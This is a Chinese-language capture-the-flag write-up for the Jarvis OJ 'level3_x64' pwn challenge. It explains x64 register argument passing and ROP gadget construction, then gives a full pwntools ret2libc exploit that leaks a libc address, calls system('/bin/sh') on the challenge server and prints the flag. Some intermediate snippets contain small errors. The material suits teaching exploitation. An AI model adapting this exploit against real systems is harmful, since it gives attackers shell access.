level3x64

level3_x64
level2_x64一样,都是考察在x64中传参数的问题,这个题目是如何考察在x64中传多个参数。
不多说,自己先进 ida 看看
“”

“”

大概做法与 level3 差不多。
我们的 level3 的 payload 写法:
level3:
1,payload = “A”0x80 + “BBBB” + p32(write_addr) + p32(read_addr) + p32(1) + p32(write_got_addr) + p32(4)
2,payload = “A”
0x80 + “BBBB” + p32(system_addr) + p32(4) + p32(binsh_addr)

但是在64位下,前面已经提到过 参数传递的问题。这里在来说一下 :
64位下参数的传递顺序,是从第一个到第六个依次保存在rdi,rsi,rdx,rcx,r8,r9,之后所有的参数通过栈来传递。

这里,我们同样需要通过 write 函数来泄漏 write_got_addr 。但是,write 函数的三个参数就不应该像32位那样写了

write 的三个参数正常的情况下,应该是 第一个 放在 rdi 中,第二个 放在 rsi ,第三个 放在 rdx

所以我们需要找的 pop rdi pop rsi pop rad ret 这样的指令。可是并没有
那么只能自己来构造了,怎么构造呢?
前面提到过
pop r15 的地址加 1 变成 pop rdi
pop rsi pop r15 ret 这里也是同理,并且这里可以传递2个参数,只是有个被放在了 r15 ,没有在 rdx,但这不影响。
因为,我们write 的第三个参数是用来输出 write 中的字符串的长度的,我们需要得到的地址长度是8个字节
看我下面的调试。可以看到,当我们执行到 write 函数的时候, rai = 1 , rsi = write_got_addr , 而 rdx = 0x200
这已经足够大了。所以,我们不用单独去设置 rdx 的值
“”

综上,先来写第一个 payload
gadget_rdi_addr = 0x00000000004006B2 + 1
gadget_rsi_addr = 0x00000000004006B0 + 1
write_plt_addr = elf.symbol[‘write’]
read_got_addr = elf.plt[‘read’]
read_function_addr = 0x00000000004005E6 # 就是vulnerable_function 函数

payload = “A”*0x80 + “BBBBBBBB”
payload += p64(gadget_rdi_addr ) + p64(1)
payload += p64(gadget_rsi_addr ) + p64(read_got_addr )
payload += p64(8)
payload += p64(write_plt_addr )
payload += p64(read_function_addr )
这段就是让write 函数打印出地址,然后返回到 read 函数。

返回到 read 函数之后,我们把打印出的地址接收到,然后减去 read 函数偏移得到 libc_addr
就可以计算 system 的地址了。如下:
p.recvuntil(“Input:\n”)
return_addr = p.recv(8)
offset = u64(return_addr )
libc_addr = offset - libc.symbols[‘read’]
system_addr = libc_addr + libc.symbols[‘system’]

这几步做完,就还差 /bin/sh ,同样的,我们这里有2种做法,,
第一种 binsh_offset = next(libc.search(‘/bin/sh’)) ,通过搜索
第二种 自己传递 /bin/sh 给read 函数,然后read函数把 字符串 /bin/sh 写到 bss 段。
第二种复杂一点。我后面给出exp 就不讲。忘记给了~~

直接用第一种。
binsh_offset = next(libc.search(‘/bin/sh’))
binsh_addr = libc_addr + binsh_offset

好了,第二个 payload 与 level2_x64 的一样了

payload = ‘A’*0x80+”BBBBBBBB”
payload += p64(gatget_rdi_addr)+p64(binsh_addr)+p64(system_addr)

最终的exp:
from pwn import *

#p = process(‘./level3_x64’)

#libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
libc = ELF(‘libc-2.19.so’)
p = remote(‘pwn2.jarvisoj.com’, 9883) # remote

elf = ELF(‘./level3_x64’)

gadget_rdi_addr = 0x00000000004006B3
gadget_rsi_addr = 0x00000000004006B1
read_function_addr = 0x00000000004005E6
binsh_offset = next(libc.search(‘/bin/sh’))
write_plt_addr = elf.plt[‘write’]
read_got_addr = elf.got[‘read’]

payload = “A”*0x80 + “BBBBBBBB”
payload += p64(gadget_rdi_addr) + p64(1)
payload += p64(gadget_rsi_addr) + p64(read_got_addr)
payload += p64(8)
payload += p64(write_plt_addr)
payload += p64(read_function_addr)
p.recvuntil(‘Input:\n’)
p.send(payload)

return_addr = p.recv(8)
offset = u64(return_addr)
libc_addr = offset - libc.symbols[‘read’]
system_addr = libc_addr + libc.symbols[‘system’]
binsh_addr = libc_addr + binsh_offset

payload = “A”*0x80+”BBBBBBBB”
payload += p64(gadget_rdi_addr)+p64(binsh_addr)+p64(system_addr)

p.send(payload)

p.interactive()

“”

CTF{b1aeaa97fdcc4122533290b73765e4fd}

为什么会有很多 \x00 出现?
想想我们用 write 函数打印 read_got_addr 时,rdx = 0x200 个字节长度,应该就明白了。
当然,我们用write函数泄漏 read函数的地址,也可以泄漏 write 函数的地址,道理相同。